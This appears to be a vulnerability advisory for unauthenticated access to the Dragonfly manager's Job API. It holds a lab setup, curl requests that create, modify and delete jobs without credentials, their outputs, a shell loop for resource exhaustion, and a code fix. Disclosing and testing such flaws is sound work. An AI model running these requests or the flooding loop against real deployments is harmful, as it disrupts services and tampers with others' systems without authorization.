Dragonfly Manager Job API Unauthenticated Access

2. Generate Deployment Manifest

helm template dragonfly dragonfly/dragonfly \
  --namespace dragonfly-system \
  --set manager.replicas=1 \
  --set scheduler.replicas=1 \
  --set seedClient.replicas=1 \
  --set client.enable=false > /tmp/dragonfly-manifest.yaml

3. Deploy to Kubernetes

kubectl create namespace dragonfly-system
kubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system
kubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s

Expected Output:

namespace/dragonfly-system created
[... resource creation messages ...]
pod/dragonfly-manager-5cc788d64b-grpbk condition met
pod/dragonfly-mysql-0 condition met
pod/dragonfly-redis-master-0 condition met
pod/dragonfly-scheduler-0 condition met
pod/dragonfly-seed-client-0 condition met

4. Setup Port Forwarding

kubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 &

Exploitation Steps

Step 1: Verify Unauthenticated Access

Command:

curl -s -X GET http://localhost:8080/api/v1/jobs

Actual Output:

[]

HTTP Status Code: 200 OK

Analysis: The API returns a successful response instead of 401 Unauthorized, confirming the lack of authentication.

Step 2: Create Unauthorized Job

Command:

curl -s -X POST http://localhost:8080/api/v1/jobs \
  -H "Content-Type: application/json" \
  -d '{
    "type": "preheat",
    "args": {
      "type": "file",
      "url": "http://example.com/test-file.txt"
    },
    "scheduler_cluster_ids": [1]
  }' | jq .

Actual Output:

{
  "id": 2,
  "created_at": "2026-01-17T16:34:22.497Z",
  "updated_at": "2026-01-17T16:34:22.497Z",
  "task_id": "group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9",
  "type": "preheat",
  "state": "PENDING",
  "args": {
    "type": "file",
    "url": "http://example.com/test-file.txt",
    "scope": "single_seed_peer",
    "timeout": 3600000000000
  },
  "user_id": 0,
  "scheduler_clusters": [
    {
      "id": 1,
      "name": "cluster-1",
      "is_default": true
    }
  ]
}

HTTP Status Code: 200 OK

Analysis: Successfully created a Job (ID: 2) without any authentication token.

Step 3: Query Job Details

Command:

curl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state'

Actual Output:

2
"preheat"
"PENDING"

HTTP Status Code: 200 OK

Step 4: Modify Job

Command:

curl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \
  -H "Content-Type: application/json" \
  -d '{"bio": "Modified by unauthenticated attacker"}' | jq '.id, .bio'

Actual Output:

2
"Modified by unauthenticated attacker"

HTTP Status Code: 200 OK

Step 5: Delete Job

Command:

curl -s -o /dev/null -w "%{http_code}" -X DELETE http://localhost:8080/api/v1/jobs/2

Actual Output:

200

HTTP Status Code: 200 OK

Step 6: Comparison Test - Authenticated Endpoint

Command:

curl -s -X GET http://localhost:8080/api/v1/clusters | jq .

Actual Output:

{
  "message": "Unauthorized"
}

HTTP Status Code: 401 Unauthorized

Analysis: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration.

Automated POC Script

Complete automated verification script available at:

• Script: poc.sh
• Output Log: poc_output.log

Execution Summary:

[Test 1] GET /api/v1/jobs - HTTP 200  VULNERABLE
[Test 2] POST /api/v1/jobs - HTTP 200  VULNERABLE (Job ID: 2)
[Test 3] GET /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 4] PATCH /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 5] DELETE /api/v1/jobs/2 - HTTP 200  VULNERABLE
[Test 6] GET /api/v1/clusters - HTTP 401  EXPECTED (comparison test)

Impact Analysis

Direct Impact

1. Unauthorized Job Management: Attackers can fully control the Job lifecycle (CRUD operations)
2. Information Disclosure: Can query all jobs, potentially exposing internal URLs, configurations, and business logic
3. Service Disruption: Can delete legitimate jobs, affecting normal file distribution services
4. Resource Exhaustion: Can create massive numbers of jobs leading to system resource exhaustion (DoS)

Potential Attack Scenarios

1. Resource Exhaustion Attack

# Create 10,000 jobs to exhaust resources
for i in $(seq 1 10000); do
  curl -X POST http://manager:8080/api/v1/jobs \
    -H "Content-Type: application/json" \
    -d "{\"type\":\"preheat\",\"args\":{\"type\":\"file\",\"url\":\"http://example.com/file-${i}.txt\"},\"scheduler_cluster_ids\":[1]}" &
done

2. SSRF Risk: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist)

3. Business Logic Disruption: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality

Affected Deployment Scenarios

• Manager API exposed on the public internet or untrusted networks
• Malicious users or compromised systems in internal networks
• Tenant isolation failures in multi-tenant environments

Remediation

Recommended Fix

Add authentication and authorization middleware to the Job API in the manager/router/router.go file:

// Before Fix (lines 204-211)
job := apiv1.Group("/jobs")
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

// After Fix
job := apiv1.Group("/jobs", jwt.MiddlewareFunc(), rbac)
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)

Temporary Mitigation

Before the fix is released, the following mitigation measures can be taken:

1. Network Isolation: Restrict network access to the Manager API

   • Use firewall rules to limit source IPs
   • Only allow trusted internal networks to access
   • Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication

2. API Gateway: Deploy an API gateway in front of Manager for authentication

   • Use reverse proxies like Nginx/Kong/Traefik
   • Configure OAuth2/JWT validation

3. Monitoring and Alerting: Monitor abnormal access patterns to Job API

   • Log all Job API calls
   • Set up alerts for abnormal job creation/deletion

Verify Fix

After the fix, all unauthenticated requests should return 401 Unauthorized:

curl -s -X GET http://localhost:8080/api/v1/jobs

Expected Output:

{
  "message": "Unauthorized"
}

Appendix: Complete Verification Logs

Deployment Verification Logs

$ kubectl -n dragonfly-system get pods
NAME                                 READY   STATUS    RESTARTS   AGE
dragonfly-manager-5cc788d64b-grpbk   1/1     Running   0          5m
dragonfly-mysql-0                    1/1     Running   0          5m
dragonfly-redis-master-0             1/1     Running   0          5m
dragonfly-redis-replicas-0           1/1     Running   0          5m
dragonfly-scheduler-0                1/1     Running   0          5m
dragonfly-seed-client-0              1/1     Running   0          5m

$ kubectl -n dragonfly-system get svc dragonfly-manager
NAME                TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)              AGE
dragonfly-manager   ClusterIP   10.96.240.126   <none>        8080/TCP,65003/TCP   5m

POC Execution Complete Logs

See poc_output.log file for details.

==========================================
VUL-001: Job API Unauthenticated Access POC
==========================================

[Test 1] GET /api/v1/jobs (No Authentication)
HTTP Status: 200
Response: []
✅ VULNERABLE: Endpoint accessible without authentication

[Test 2] POST /api/v1/jobs (No Authentication)
HTTP Status: 200
Job ID: 2
✅ VULNERABLE: Job created without authentication

[Test 3] GET /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job details accessible without authentication

[Test 4] PATCH /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job updated without authentication

[Test 5] DELETE /api/v1/jobs/2 (No Authentication)
HTTP Status: 200
✅ VULNERABLE: Job deleted without authentication

[Test 6] GET /api/v1/clusters (Should Require Authentication)
HTTP Status: 401
Response: {"message":"Unauthorized"}
✅ EXPECTED: Endpoint correctly requires authentication

==========================================
POC Execution Complete
==========================================

Patches

• Dragonfy v2.4.1 and above.

Workarounds

There are no effective workarounds, beyond upgrading.